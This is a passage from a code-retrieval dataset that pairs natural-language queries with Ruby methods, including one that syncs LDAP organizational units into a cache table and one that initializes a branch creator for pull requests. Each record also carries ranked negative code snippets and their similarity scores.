"0.56785846",
"0.5677508",
"0.5662377",
"0.566094",
"0.56351167",
"0.56339306",
"0.5604431",
"0.5583479",
"0.5572833",
"0.5566193",
"0.5562158",
"0.55569583",
"0.5546952",
"0.5542314",
"0.55422616",
"0.55414945",
"0.55413663",
"0.5540869",
"0.5537118",
"0.55294216",
"0.5528521",
"0.5525485",
"0.5520518",
"0.5508311",
"0.5507826",
"0.5502011",
"0.5487386",
"0.54703635",
"0.54634476",
"0.54623926",
"0.5460023",
"0.5448138",
"0.5442811",
"0.5441485",
"0.54356384",
"0.54355574",
"0.5424571",
"0.54191875",
"0.5409209",
"0.5403465",
"0.5401527",
"0.5400272",
"0.53993624",
"0.53993624",
"0.53993624",
"0.53993624",
"0.53993624",
"0.53993624",
"0.53993624",
"0.53918606",
"0.53918606",
"0.53872657",
"0.5383252",
"0.538288",
"0.5381864",
"0.53787017",
"0.5377647",
"0.53773326",
"0.5369159",
"0.5368959",
"0.5362447",
"0.53615624",
"0.5354792",
"0.5352944",
"0.5352944",
"0.5352944",
"0.5349987"
] |
0.76113105
|
0
|
Update organization units cache table if records are more than one day old
|
def update_organization_units
oldest_update = AdOrganizationUnit.order('created_at').last
if bind && (oldest_update.nil? || oldest_update.created_at<1.day.ago)
filter = Net::LDAP::Filter.eq("objectClass", "organizationalunit")
results = @connection.search(:base =>"ou=Sync,"+base_distinguished_name, :filter => filter)
remote_organization_units = Hash.new
local_organization_units = Hash.new
# Build hash for local entries
AdOrganizationUnit.find_each do |local_entry|
local_organization_units[local_entry.distinguishedname] = local_entry.whenchanged
end
# Add new entries to local database
results.each do |remote_entry|
# Build hash for remote entries
remote_organization_units[remote_entry.distinguishedname[0]] = remote_entry.whenchanged[0]
if !local_organization_units.has_key?(remote_entry.distinguishedname[0])
new_organization_unit = AdOrganizationUnit.new
new_organization_unit.distinguishedname = remote_entry.distinguishedname[0]
new_organization_unit.whenchanged = remote_entry.whenchanged[0]
new_organization_unit.save!
end
end
# Remove old entries from local database
local_organization_units.each do |local_entry|
if !remote_organization_units.has_key?(local_entry[0])
AdOrganizationUnit.find_by_distinguishedname(local_entry[0]).destroy
end
end
else
return false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ensure_cache_up_to_date\n self.last_update_timestamp = self.redis.get(\"bluster:last_update_timestamp\").to_i\n if self.last_update_timestamp.nil?\n update_object_cache\n elsif self.last_update_timestamp != File.new(self.objects_path).mtime.to_i\n update_object_cache\n end\n end",
"def expire_cache\n expired_parent_caches = expire_parent_caches\n expired_attribute_indexes = expire_attribute_indexes\n\n expired_parent_caches && expired_attribute_indexes\n end",
"def refill\n now = Time.now.to_i\n cache_set.each {|rec|\n ttl = rec[:end_ts].to_i - now\n cache_write( rec[:key], rec[:value], ttl ) if ttl > 0 \\\n if rec[:value] and rec[:value].length > MAX_OBJ_SIZE and ttl > 0\n }\n end",
"def verify\n @cache[:last_accessed] = nil if\n @cache.has_key?(:last_accessed) &&\n @cache[:last_accessed].to_date != Date.today\n end",
"def invalidate_cache! now\n end",
"def after_update(doc)\n\t\t# expire_cache_for(doc)\n\tend",
"def after_update(entry)\n expire_cache_for(entry)\n end",
"def update_cache\n # Does nothing...up to subclasses to implement.\n end",
"def invalidate_cache!\n @cache_valid_from = Time.now\n end",
"def mark_expired\n all.each do |u|\n u.expire! if u.expired? && u.expired_at.nil?\n end\n end",
"def after_update(event)\r\n expire_cache_for(event)\r\n end",
"def after_update(place)\n expire_cache_for(place)\n end",
"def after_update(event)\n expire_cache_for(event)\n end",
"def after_update(event)\n expire_cache_for(event)\n end",
"def update_cache\n\t\tself.species_count = self.species.count(:conditions => ['species.change_id IS NULL'])\n\t\tself.save!\n\tend",
"def refresh_if_near_expiration; end",
"def need_to_update_metrics?\n days_old = self.days_between(Time.now)\n ttl = AppConfig.photo_metrics_ttl * (days_old < 0 ? ((-days_old)+1) : 1)\n !self.metrics_last_updated_at || self.metrics_last_updated_at < ttl.ago\n end",
"def after_update(record)\n if Rails.configuration.cache_classes == true\n expire_cache_for(record, 'update')\n end\n end",
"def invalidate\n @cache_version ||= 0\n @cache_version += 1\n end",
"def after_update(record)\n expire_cache_for(record)\n end",
"def after_update(record)\n expire_cache_for(record)\n end",
"def check_expiration(ht, cache_expiration = 0)\n cache_expiration = ht[:cache_expiration] ||= (cache_expiration.to_i == 0 ? Rails.configuration.cache_expiration : cache_expiration)\n \n if (ht[:updated_at] || Time.at(0)) < Time.now - cache_expiration\n ht.clear \n \n ht[:updated_at] = Time.now\n ht[:cache_expiration] = cache_expiration\n end\n end",
"def flush_expired\n if gc_last && gc_time && gc_last+gc_time <= Time.now\n flush_expired!\n end\n end",
"def after_update(data_set)\n expire_cache_for(data_set)\n end",
"def cache_expired?\n return true unless cache_exist?\n File.new(@cache_file).mtime < Time::now - (@cache_life.to_i * 60)\n # TODO check html rendered date\n end",
"def expire_all\n @memcache.flush_all\n stop_tracking_keys\n Merb.logger.info(\"cache: expired all\")\n true\n end",
"def after_update(list)\n expire_cache_for(list)\n end",
"def check_timestamp\n @recent.save! if Time.now - @recent.updated_at >= 600\n end",
"def after_update(category)\r\n expire_cache_for(category)\r\n end",
"def seen?(ticket, old_cache)\n !old_cache.key?(ticket[:spacekey]) or \n old_cache[ticket[:spacekey]] < ticket[:id]\n end",
"def update_if_necessary\n # we should have a counter stat already if it got to this class\n # only update stats if it's after the date of the last updated date for record\n return unless new_record? || updated_at.nil? || Time.new.localtime.to_date > updated_at.localtime.to_date\n update_usage!\n update_citation_count!\n\n self.updated_at = Time.new # seem to need this for some reason\n\n save!\n end",
"def flush_expired!\n Dir[ File.join( store, \"*.cache\" ) ].each do |f|\n if (File.mtime(f)+timeout) <= Time.now\n File.delete(f)\n end\n end\n @gc_last = Time.now\n end",
"def update_or_evict_stale_organizations\n ids = Searchable::SearchableOrganization.all.ids\n\n urls = ids.map do |id|\n participant_path(id)\n end\n\n stale_ids = Searchable.where(document_type: 'Participant').where.not(url: urls).map do |searchable|\n Integer(searchable.url.gsub('/what-is-gc/participants/', ''))\n end\n\n puts \"Stale: #{stale_ids.count} / #{urls.count} total\"\n\n # Reindex/evict Searchables\n valid_ids = Organization.where(id: stale_ids)\n .select(Searchable::SearchableOrganization::FIELDS)\n .map do |organization|\n organization.touch # will trigger a re-index / eviction\n organization.id\n end\n puts \"Updated or evicted #{valid_ids.count} searchables\"\n\n # Remove invalid Searchables\n invalid_ids = stale_ids - valid_ids\n invalid_urls = invalid_ids.map(&method(:participant_path))\n Searchable.where(url: invalid_urls).destroy_all\n puts \"Removed #{invalid_urls.count} invalid searchables\"\n end",
"def after_update(bite)\n expire_cache_for(bite)\n end",
"def need_last_day\n self.last_day_fetch = nil\n self.save!\n end",
"def after_update(resume) \n expire_cache_for(resume) \n end",
"def update_cache\r\n Rails.cache.delete(\"All#{self.class.name.to_s}\")\r\n end",
"def rebuildCache\n\t\t\n\t\t@cache = Array.new()\n\t\t@cache_for_id = {}\n\t\t@cache_for_name = {}\n\n\t\tcache_file = File.join( @options.cache_directory, \"tickets.yaml\" ) \n\t\tif File.file? cache_file\n\t\t\tc = YAML.load_file( cache_file )\n\t\t\tif c\n\t\t\t\tc[\"cache\"].each do |v|\n\t\t\t\t\tt = BOM::Ticket.new( @options, \"\" )\n\t\t\t\t\tt.data = v[ \"ticket\" ]\n\t\t\t\t\tt.filename = v[ \"file\" ]\n\t\t\t\t\t@cache.push( t )\n\t\t\t\tend\n\t\t\t\t@cache_for_id = c[\"cache_for_id\"]\n\t\t\t\t@cache_for_name = c[\"cache_for_name\"]\n\t\t\tend\n\t\tend\n\n\t\t@updated = false\n\t\t\n\t\tremoveitems = []\n\n\t\t@cache_for_name.each do | k, v |\n\t\t\tif not File.directory?( File.join( @options.tickets_directory, k ) )\n\t\t\t\t@cache_for_name.delete( k )\n\t\t\t\t@cache_for_id.delete( k[0..7] )\n\t\t\t\tremoveitems << v[\"idx\"]\n\t\t\tend \n\t\tend\n\n\t\tif removeitems.length > 0\n\t\t\t@updated = true\n\t\tend\n\n\t\tremoveitems.sort.reverse_each do |i|\n\t\t\t@cache.delete_at( i )\n\t\tend\n\n\n\t\tDir.glob( File.join( @options.tickets_directory, \"*\" ) ) do |f| \n\t\t\tbf = File.basename( f )\n\t\t\tmtime = File.mtime( f ) \n\t\t\tif @cache_for_name.include?( bf )\n\t\t\t\tticket_update_info = @cache_for_name[ bf ]\n\t\t\t\tidx = ticket_update_info[ \"idx\" ]\n\t\t\t\tif mtime>ticket_update_info[ \"updated\" ]\n\t\t\t\t\tu = ticket_update_info[\"updated\"]\n\t\t\t\t\tt = BOM::Ticket.new( @options, \"\" )\n\t\t\t\t\tt.load( f )\n\t\t\t\t\t@cache[ idx ] = t\n\t\t\t\t\t@cache_for_name[ bf ] = {\"idx\"=>idx, \"updated\"=> mtime}\n\t\t\t\t\t@updated = true\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tt = BOM::Ticket.new( @options, \"\" )\n\t\t\t\tt.load( f )\n\t\t\t\t@cache.push( t )\n\t\t\t\t@cache_for_id[ bf[0..7] ] = @cache.length-1\n\t\t\t\t@cache_for_name[ bf ] = {\"idx\"=>@cache.length-1, \"updated\"=> mtime}\n\t\t\t\t@updated = true\n\t\t\tend\n\t\tend\n\t\tsave\n\tend",
"def after_create(entry)\n expire_cache_for(entry)\n end",
"def is_stale?\n frequency = dispatchable.frequency.name\n created_at < time_for_interval(frequency)\n end",
"def expire_all\n @mutex.synchronize do\n @cache.clear\n end\n Merb.logger.info(\"cache: expired all\")\n true\n end",
"def update_member_status_caches!\n if response_reset_date_changed?\n members.find_in_batches do |member_group|\n member_group.each {|member| member.update_status_cache! }\n end\n end\n end",
"def after_update(machine)\n expire_cache_for(machine)\n end",
"def update_kase_expires_at\n if self.kase && self.kase.expires_at.nil? && self.expires_at && !self.has_expired?\n self.kase.class.transaction do \n self.kase.lock!\n self.kase.update_attribute(:expires_at, self.expires_at) if self.kase.expires_at.nil?\n end\n end\n end",
"def expire_catalog(unit)\n Environment.all.each { |environment|\n Rails.logger.info \"CACHE: Expiring the catalogs for #{catalog_cache_key_generator(:unit_id => unit.id, :environment_id => environment.id)}\"\n Rails.cache.delete catalog_cache_key_generator(:unit_id => unit.id, :environment_id => environment.id)\n }\n end",
"def after_update(category)\r\n expire_cache_for(category)\r\n end",
"def cache_expiry\n if options[:extend_cache_life]\n (1 + options[:extend_cache_life]) * super\n else\n super\n end\n end",
"def movies_stale?\n Time.new - self.movies.last.updated_at >= 900\n end",
"def update (url, response, timestamp)\n \n @semaphor.synchronize(){||\n if @cache.has_key?(url)\n # then this url is already in the cache and we simply update the timestamp\n new_entry = CacheEntry.new(url, response, timestamp)\n @cache[url] = new_entry\n else\n new_entry = CacheEntry.new(url, response, timestamp)\n # ensure that this object is not too large\n return if new_entry.response.bytesize() > max_object_size \n # remove items from the cache until this new entry fits.\n while @current_load + new_entry.response.bytesize() > max_load do\n evict()\n end\n @current_load = @current_load + new_entry.response.bytesize()\n @cache[url] = new_entry\n end\n }\n end",
"def update_cache\n if $redis.set(\"#{self.class.table_name}/#{self.id}\", self.to_json) == \"OK\"\n true\n else\n false\n end\n end",
"def expire_build_cache\n \tRails.cache.delete(self.car.id)\n end",
"def refresh_expiry\n self.expires_at = Time.now + ttl\n end",
"def dont_write_cache_commitment\n if changes['quantity_committed']\n self.quantity_committed = changes['quantity_committed'][0]\n end\n end",
"def purge_old\n @db.execute \"DELETE FROM requests WHERE first_seen < ?\", $config.periodic['purge'].minutes.ago.to_i\n end",
"def update_cache_chain\n logger.debug \"DB ********** Touching Event #{id} ********** \"\n self.touch\n self.calendar.try(:update_cache_chain)\n end",
"def stale?\n forecasts.empty? || (Time.now - data_file.mtime) > 14_400\n end",
"def flush_cache; end",
"def update_oldest_records\n old_records = @bq_writer.query('SELECT table_name, attr FROM '\\\n \"[#{project_id}:#{@bq_writer.dataset}.#{bq_table_name}] \"\\\n 'GROUP BY table_name, attr')\n if old_records['rows']\n old_records['rows'].each do |r|\n table = r['f'][0]['v']\n trait = r['f'][1]['v']\n\n next unless trait && bq_attributes[table] \n\n if bq_attributes[table].include?(trait.to_sym) \n OldestRecord.find_or_create_by(table_name: table, attr: trait)\n else\n log(:info, \"#{Time.now}: No longer tracking: #{table}: #{trait}\")\n end\n end\n end\n end",
"def check_for_changes_affecting_cached_coverage\n overlap = %w(branching_logic position) & previous_changes.keys\n return if overlap.empty?\n\n design.touch :coverage_cache_busted_at\n end",
"def update_cache(lastupdate)\n client = TheTvDbParty::Client.new(ENV['TVDB_API_KEY'])\n timeDelta = (Time.new()-lastupdate).to_i\n timeframe = \"day\"\n if timeDelta>86400\n timeframe = \"week\"\n if timeDelta>604800\n timeframe = \"month\"\n if timeDelta>2592000\n timeframe = \"all\"\n end\n end\n end\n update = client.get_updates_by_timeframe(timeframe)\n subscribedSeries = Array.new\n SeriesSubscription.all.group(:seriesid).find_each do |series|\n subscribedSeries.push(series.seriesid)\n end\n seriesToUpdate = Array.new\n # Look at the edited series and add them to our update list\n for series in update.series\n if(series[:updatetime].to_i>lastupdate && subscribedSeries.index(series[:seriesid].to_i).nil? == false)\n seriesToUpdate.push(series[:seriesid])\n end\n end\n if(update.episodes.nil? == false )\n # Look at the edited episodes and determine if we should update their series\n for episode in update.episodes\n if(episode[:updatetime].to_i>lastupdate && subscribedSeries.index(episode[:seriesid].to_i).nil? == false && seriesToUpdate.index(episode[:seriesid]).nil? == true)\n seriesToUpdate.push(episode[:seriesid])\n end\n end\n end\n\n for seriesid in seriesToUpdate\n # Get information about the show\n full_record = client.get_series_all(seriesid).full_series_record\n seriesInformation = SeriesInformation.find_by seriesid: seriesid\n if(seriesInformation.nil?)\n seriesInformation = new_series_information_from_series_record(full_record)\n end\n changed = false\n if(seriesInformation.seriesname != full_record.seriesname)\n seriesInformation.seriesname = full_record.seriesname\n changed = true\n end\n if(seriesInformation.overview != full_record.overview)\n seriesInformation.overview = full_record.overview\n changed = true\n end\n if(seriesInformation.genres != full_record.genres)\n seriesInformation.genres = full_record.genres\n changed = true\n end\n if(changed)\n seriesInformation.save\n end\n # Remove all episodes we have about the show\n EpisodeInformation.where(seriesid: seriesid).destroy_all\n \n # Go through the data and add in new episodes\n for j in 1..(full_record.episodes.length)\n if(full_record.episodes[full_record.episodes.length-j].firstaired)\n if(full_record.episodes[full_record.episodes.length-j].firstaired > Date.today.prev_day)\n # If we find an episode which hasn't aired yet, or airs today, add it to the list.\n new_episode_information_from_episode_record(full_record.episodes[full_record.episodes.length-j])\n else\n # As we go backwards through the episodes array we can break on the first episode which has already aired\n break\n end\n end\n end\n end\n end",
"def after_update(page)\n expire_cache_for(page)\n end",
"def cache_expire_trigger set_of_changed_card, args={}, &block\n define_event_to_update_expired_cached_cards(\n set_of_changed_card, args, :expire_solid_cache, &block\n )\n end",
"def expire_cache(key)\n end",
"def set_stale\n return unless locale == I18n.default_locale.to_s\n\n Translation.where(:key => key).where(Translation.arel_table[:locale].not_eq(locale)).update_all({:stale => true})\n end",
"def cache_timeout\n super\n end",
"def stale?\n updated_at < 2.hours.ago\n end",
"def expire!\n self.last_retrieved = Time.mktime(1970).gmtime\n self.save\n end",
"def cleanup_cache\n\t\t\tputs \"Cleaning up cache\"\n\t\t\texpire_older_than = ((Time.now.to_f - MiniProfiler::EXPIRE_TIMER_CACHE) * 1000).to_i\n\t\t\t@timer_struct_lock.synchronize {\n\t\t\t\t@timer_struct_cache.delete_if { |k, v| v['Root']['StartMilliseconds'] < expire_older_than }\n\t\t\t}\n\t\tend",
"def after_save(object)\n expire_cache_for_all\n end",
"def expire_cache!\n @snapshot = nil\n end",
"def after_update(word)\n expire_cache_for(word)\n end",
"def rebuild_cache (kuni)\n all_tasks = kuni.tasks\n all_done = all_tasks.all(:is_done => true)\n ratio = 0.0\n if !all_tasks.nil? and !all_done.nil? and all_done.count != 0\n ratio = all_done.count.to_f/all_tasks.count.to_f * 100.0\n else\n ratio = 0\n end\n case ratio\n when 0..1\n kuni.cache = 0\n when 0..10\n kuni.cache = 10\n when 10..20\n kuni.cache = 20\n when 20..30\n kuni.cache = 30\n when 30..40\n kuni.cache = 40\n when 40..50\n kuni.cache = 50\n when 50..60\n kuni.cache = 60\n when 60..70\n kuni.cache = 70\n when 70..80\n kuni.cache = 80\n when 80..90\n kuni.cache = 90\n when 90..100\n kuni.cache = 100\n else\n kuni.cache = 0\n end\n if kuni.save\n true\n else\n false\n end\n end",
"def touch_via_cache(time=self.updated_at)\n time = time.utc\n #self.user.league_roles_last_updated_at = time unless self.user.nil?\n #self.league.league_roles_last_updated_at = time unless self.league.nil?\n return true\n end",
"def validate_expired_checksums!\n moab_recs = moab_records.fixity_check_expired\n Rails.logger.info \"MoabStorageRoot #{id} (#{name}), # of moab_records to be checksum validated: #{moab_recs.count}\"\n moab_recs.find_each(&:validate_checksums!)\n end",
"def needs_refresh?\n !respond_to?(:created_at) || ((Time.at(created_at) + expires_in.seconds) < Time.current - 1.day)\n end",
"def after_save(change)\n timing \"Expiring change cache\"\n case change.change_type\n when Change::OWNERSHIP\n expire_item_cache(change)\n when Change::PERSON_LOCATION\n expire_map_cache(change)\n when Change::PERSON_MAIN_LOCATION\n expire_map_cache(change)\n end\n end",
"def expire_table_cache(table_names)\n return if @memcache.nil?\n\n table_names.each do |table_name|\n key = \"#{@cache_prefix}-\"+table_name+\"-version\"\n version = @memcache.get(key)\n if version.nil?\n @memcache.set(key,1,nil,{:raw=>true}) \n else\n @memcache.incr(key, 1, nil)\n end\n end\n\n true\n end",
"def after_update(order)\n expire(order)\n expire_associated(order)\n end",
"def used\n update(last_used: DateTime.now)\n end",
"def up_to_date?\n self.entries.size >= Round.all.size\n end",
"def after_update(agency)\n expire(agency)\n expire_associated(agency)\n end",
"def sdb_update(attr_group)\n valid_length = SDB_CACHE_VALIDITY_LENGTH[attr_group]\n self.fetch_sdb_updates if valid_length.nil? || sdb_update_at.nil? || Time.now - sdb_update_at > valid_length\n end",
"def using_cache\n\t\t(@modcache_invalidated != true)\n\tend",
"def mark_used\n self.update_attributes is_used: true, used_at: DateTime.now\n end",
"def test_recache_properties\n cached_resources = CachedResource.find(:all)\n assert_equal 5, cached_resources.length\n\n cached_properties = CachedProperty.find(:all)\n assert_equal 15, cached_properties.length\n# CachedProperty.delete_all()\n# cached_properties = CachedProperty.find(:all)\n# assert_equal 0, cached_properties.length\n\n # 3 of the resources exist, and 2 don't. The 2 that don't should keep their original info.\n cached_resources.each do |cr|\n cr.recache_properties()\n end\n \n cached_resources = CachedResource.find(:all)\n assert_equal 5, cached_resources.length\n\n cached_properties = CachedProperty.find(:all)\n assert_equal 20, cached_properties.length\n assert_equal 'stale', cached_properties[19]['name']\n end",
"def refresh_cache\n @cache = build_cache\n end",
"def clean_cache\n node.normal['cloudflare']['threat_control']['status_cache'].reject! { |ip, data| is_stale? data['datetime'] }\nend",
"def requires_update?\n\t\tif @twitter_account.new_record? || @twitter_account.name.nil?\n\t\t\treturn true\n\t\tend\n\n\t\treturn Time.now - @twitter_account.updated_at > 60 * CACHE_DURATION\n\tend",
"def expire!\n if expired?\n update(true)\n true\n else\n false\n end\n end",
"def was_seen!\n update_attribute(:last_seen_at, Time.now) if valid? && (last_seen_at.nil? || last_seen_at < 1.hour.ago)\n end",
"def was_seen!\n update_attribute(:last_seen_at, Time.now) if valid? && (last_seen_at.nil? || last_seen_at < 1.hour.ago)\n end",
"def after_update(animal)\n expire_cache_for(animal)\n end",
"def stale?\n unlocked? and item.has_attribute?(:updated_at) and updated_at < item.updated_at\n end",
"def reschedule_following_issues_with_fast_update\n if start_date_changed? || due_date_changed?\n cache_and_apply_changes do\n reschedule_dependent_issue\n end\n end\n end",
"def check_for_changes_affecting_cached_pdfs\n overlap = %w(branching_logic position requirement) & previous_changes.keys\n return if overlap.empty?\n\n design.touch :pdf_cache_busted_at\n end",
"def isDataUpToDate?\n DailyNews.first.updated_at.to_s.slice(5..6).eql? Time.now.to_s.slice(8..9)\n end",
"def fill_actual\n@fill_act= current_user.organization.projects\n @fill_act.each do |fp|\n actual_amt= fp.time_records.sum(:total_hours)\n #if actual_amt !=0\n fp.record_timestamps=false\n fp.update_attribute(\"actual\",actual_amt)\n fp.record_timestamps=true\n #end \n end\n\nend",
"def update_counter_cache\n User.reset_counters(@listing.seller_id, :active_listings)\n end",
"def refresh_if_near_expiration\n if near_expiration?\n @mutex.synchronize do\n refresh if near_expiration?\n end\n end\n end",
"def after_create(event)\r\n expire_cache_for(event)\r\n end"
] |
[
"0.65389925",
"0.5998826",
"0.59296227",
"0.58927786",
"0.5843088",
"0.5821534",
"0.5800259",
"0.57780844",
"0.5773702",
"0.5752574",
"0.5702364",
"0.5694461",
"0.5660184",
"0.5660184",
"0.5646122",
"0.5642932",
"0.56049985",
"0.5601751",
"0.5578578",
"0.5576554",
"0.5576554",
"0.557325",
"0.5543256",
"0.5511551",
"0.54782176",
"0.54777986",
"0.54526675",
"0.5446247",
"0.54458165",
"0.5444671",
"0.5440382",
"0.5433669",
"0.5413502",
"0.53996474",
"0.53970253",
"0.5396465",
"0.5380659",
"0.53516465",
"0.53507626",
"0.5348532",
"0.53442186",
"0.5342924",
"0.53405875",
"0.53396904",
"0.52977294",
"0.5291883",
"0.52908784",
"0.5290841",
"0.5285413",
"0.5280572",
"0.52802384",
"0.5267166",
"0.5254777",
"0.52542335",
"0.5239367",
"0.52356786",
"0.5222885",
"0.5204432",
"0.52002734",
"0.51974666",
"0.5195211",
"0.51939213",
"0.51861155",
"0.5185006",
"0.51849186",
"0.5171771",
"0.5171645",
"0.51444644",
"0.5135341",
"0.5128935",
"0.51281625",
"0.5127256",
"0.51270753",
"0.51209575",
"0.511703",
"0.5112165",
"0.5102846",
"0.5099921",
"0.5098108",
"0.50974125",
"0.50971293",
"0.5093152",
"0.5092121",
"0.5091879",
"0.50887716",
"0.5084435",
"0.5071643",
"0.50712055",
"0.5070719",
"0.50702286",
"0.50702286",
"0.5064001",
"0.5058597",
"0.5055856",
"0.5048886",
"0.5047728",
"0.5047459",
"0.5038669",
"0.5038573",
"0.50323457"
] |
0.6226122
|
1
|
Public: Initialize a new instance of DatedBranchCreator branch_type Name of the type of branch (e.g., staging or deployable) pull_request_id The pull request id to use for the merge options hash of options post_comment whether or not to post a comment on the pullrequest
|
def initialize(branch_type, pull_request_id, options={})
self.branch_type = branch_type
self.pull_request_id = pull_request_id
self.options = options
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_pull_request\n self.pull_request = GitHub::PullRequest.create config.github_repo, pull_request_attributes\n end",
"def create_pull_request(token, branch, repo, body, assignee)\n payload = {:title => branch, :base => base_branch, :head => branch, :body => body}.to_json\n say \"Creating pull request for \"\n say \"#{branch} \", :green\n say \"against \"\n say \"#{base_branch} \", :green\n say \"in \"\n say repo, :green\n response = RestClient::Request.new(:url => \"https://api.github.com/repos/#{repo}/pulls\", :method => \"POST\", :payload => payload, :headers => {:accept => :json, :content_type => :json, 'Authorization' => \"token #{token}\"}).execute\n data = JSON.parse response.body\n\n assign_pull_request(token, branch, assignee, data) if assignee ## Unfortunately this needs to be done in a seperate request.\n\n url = data['html_url']\n url\n rescue RestClient::Exception => e\n process_error e\n throw e\n end",
"def create_pull_request(oauth_token, source_branch, base_branch, pr_title, pr_body, reviewers)\n client = Octokit::Client.new(access_token: oauth_token)\n pull_number = client.create_pull_request(full_repo_name, base_branch, source_branch, pr_title, pr_body)[:number]\n client.request_pull_request_review(full_repo_name, pull_number, reviewers: reviewers)\n end",
"def create_pull_request\n unless uploads.empty?\n branch = patch_branch\n create_branch(branch)\n uploads.each do |key, upload|\n client.create_contents(\n repo,\n upload[\"filename\"],\n \"Create #{upload[\"filename\"]}\",\n session[\"file_#{key}\"],\n :branch => branch\n )\n session[\"file_#{key}\"] = nil\n end\n end\n pr = client.create_pull_request(repo, \"master\", branch, form_data[\"title\"], issue_body, :labels => labels)\n pr[\"number\"] if pr\n end",
"def create_branch(name:, precondition: Any, extractor: IDENTITY, destructure: false, default: false)\n Qo::Branches::Branch.create(\n name: name,\n precondition: precondition,\n extractor: extractor,\n destructure: destructure,\n default: default\n )\n end",
"def create_branch\n @tree_class.new\n end",
"def create\n\t\n\t##first check that user doesn't already have a pull request open for this repo line\n\t\t@idea = Idea.find(params[:idea_id])\n\t\t@toRepo = Repository.where(user_id: @idea.user_id).where(idea_id: params[:idea_id]).first\n\t\t@repo = Repository.where(user_id: current_user.id).where(idea_id: params[:idea_id]).first\n\t\t\n\n\t\t@pull_request = PullRequest.where(to_repo_id: @toRepo.id).where(repository_id: @repo.id).where(status: \"SUBMITTED\").first\n\t\tif( !@pull_request && current_user != @idea.user)\n\t @pullRequest = PullRequest.new()\n\n\t\t\t@pullRequest.repository_id = @repo.id\n\t\t\t@pullRequest.to_repo_id = @toRepo.id\n\t\t\t\n\t\t\t@pullRequest.message = params[:name]\n\t\t\t@pullRequest.save\n\t\t\t\n\t\t\tDir.chdir(@repo.path)\n\t\t\t@git = Git.init()\n\t\t\t@git.pull(@toRepo.path, \"master\") # fetch and a merge\n\t\tend\n\t\t\n\t\tif @pull_request\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html # new.html.erb\n\t\t\t\tformat.json { render json: @pullRequest }\n\t\t\tend\n\t\telse\n\t\t\trender json: {error: \"Looks like something went wrong with creating a repo. Perhaps you already have one.\"}\n\t\tend\n end",
"def create_merge_request\n author_id, author_found = user_finder.author_id_for(pull_request)\n\n description = MarkdownText\n .format(pull_request.description, pull_request.author, author_found)\n\n attributes = {\n iid: pull_request.iid,\n title: pull_request.truncated_title,\n description: description,\n source_project_id: project.id,\n target_project_id: project.id,\n source_branch: pull_request.formatted_source_branch,\n target_branch: pull_request.target_branch,\n state: pull_request.state,\n milestone_id: milestone_finder.id_for(pull_request),\n author_id: author_id,\n assignee_id: user_finder.assignee_id_for(pull_request),\n created_at: pull_request.created_at,\n updated_at: pull_request.updated_at\n }\n\n create_merge_request_without_hooks(project, attributes, pull_request.iid)\n end",
"def create_pull_request_comment(repo, pull_id, body, commit_id, path, position, options = {})\n options.merge!({\n :body => body,\n :commit_id => commit_id,\n :path => path,\n :position => position\n })\n post \"#{Repository.path repo}/pulls/#{pull_id}/comments\", options\n end",
"def create_merge_request\n author_id, author_found = user_finder.author_id_for(pull_request)\n\n description = MarkdownText\n .format(pull_request.description, pull_request.author, author_found)\n\n # This work must be wrapped in a transaction as otherwise we can leave\n # behind incomplete data in the event of an error. This can then lead\n # to duplicate key errors when jobs are retried.\n MergeRequest.transaction do\n attributes = {\n iid: pull_request.iid,\n title: pull_request.truncated_title,\n description: description,\n source_project_id: project.id,\n target_project_id: project.id,\n source_branch: pull_request.formatted_source_branch,\n target_branch: pull_request.target_branch,\n state: pull_request.state,\n milestone_id: milestone_finder.id_for(pull_request),\n author_id: author_id,\n assignee_id: user_finder.assignee_id_for(pull_request),\n created_at: pull_request.created_at,\n updated_at: pull_request.updated_at\n }\n\n # When creating merge requests there are a lot of hooks that may\n # run, for many different reasons. Many of these hooks (e.g. the\n # ones used for rendering Markdown) are completely unnecessary and\n # may even lead to transaction timeouts.\n #\n # To ensure importing pull requests has a minimal impact and can\n # complete in a reasonable time we bypass all the hooks by inserting\n # the row and then retrieving it. We then only perform the\n # additional work that is strictly necessary.\n merge_request_id = GithubImport\n .insert_and_return_id(attributes, project.merge_requests)\n\n merge_request = project.merge_requests.find(merge_request_id)\n\n # These fields are set so we can create the correct merge request\n # diffs.\n merge_request.source_branch_sha = pull_request.source_branch_sha\n merge_request.target_branch_sha = pull_request.target_branch_sha\n\n merge_request.keep_around_commit\n merge_request.merge_request_diffs.create\n\n merge_request.id\n end\n rescue ActiveRecord::InvalidForeignKey\n # It's possible the project has been deleted since scheduling this\n # job. In this case we'll just skip creating the merge request.\n end",
"def pull_request\n @pull_request ||= ApiFactory.new 'Repos::PullRequest'\n end",
"def initialize_branch\t\n\t\tif params[:branch_id]\n\t\t\tbranch_id = params[:branch_id]\n\t\telse\n\t\t\tbranch_id = current_profile.user_profile.branch.id #Assuming only teachers are able to create events now.\n\t\tend\n \t\t@branch = Branch.find(branch_id)\n\tend",
"def pull_request\n @pull_request ||= GitHub::PullRequest.new config.github_repo, pull_request_id\n end",
"def create_review_comment(repo, pull_number, body, commit_id, path, options = {})\n opts = options.dup\n opts[:body] = body\n opts[:commit_id] = commit_id\n opts[:path] = path\n post \"#{Repository.path repo}/pulls/#{pull_number}/comments\", opts\n end",
"def gh_pull_request(data, config)\n action = data['action'] || nil\n pr = data['pull_request'] || nil\n\n Cyclid.logger.debug \"action=#{action}\"\n return true unless action == 'opened' \\\n or action == 'reopened' \\\n or action == 'synchronize'\n\n # Get the list of files in the root of the repository in the\n # Pull Request branch\n html_url = URI(pr['base']['repo']['html_url'])\n pr_sha = pr['head']['sha']\n ref = pr['head']['ref']\n\n Cyclid.logger.debug \"sha=#{pr_sha} ref=#{ref}\"\n\n # Get some useful endpoints & interpolate the SHA for this PR\n url = pr['head']['repo']['statuses_url']\n statuses = url.gsub('{sha}', pr_sha)\n\n url = pr['head']['repo']['trees_url']\n trees = url.gsub('{/sha}', \"/#{pr_sha}\")\n\n # Get an OAuth token, if one is set for this repo\n Cyclid.logger.debug \"attempting to find auth token for #{html_url}\"\n auth_token = nil\n config['repository_tokens'].each do |entry|\n entry_url = URI(entry['url'])\n auth_token = entry['token'] if entry_url.host == html_url.host && \\\n entry_url.path == html_url.path\n end\n\n # XXX We probably don't want to be logging auth tokens in plain text\n Cyclid.logger.debug \"auth 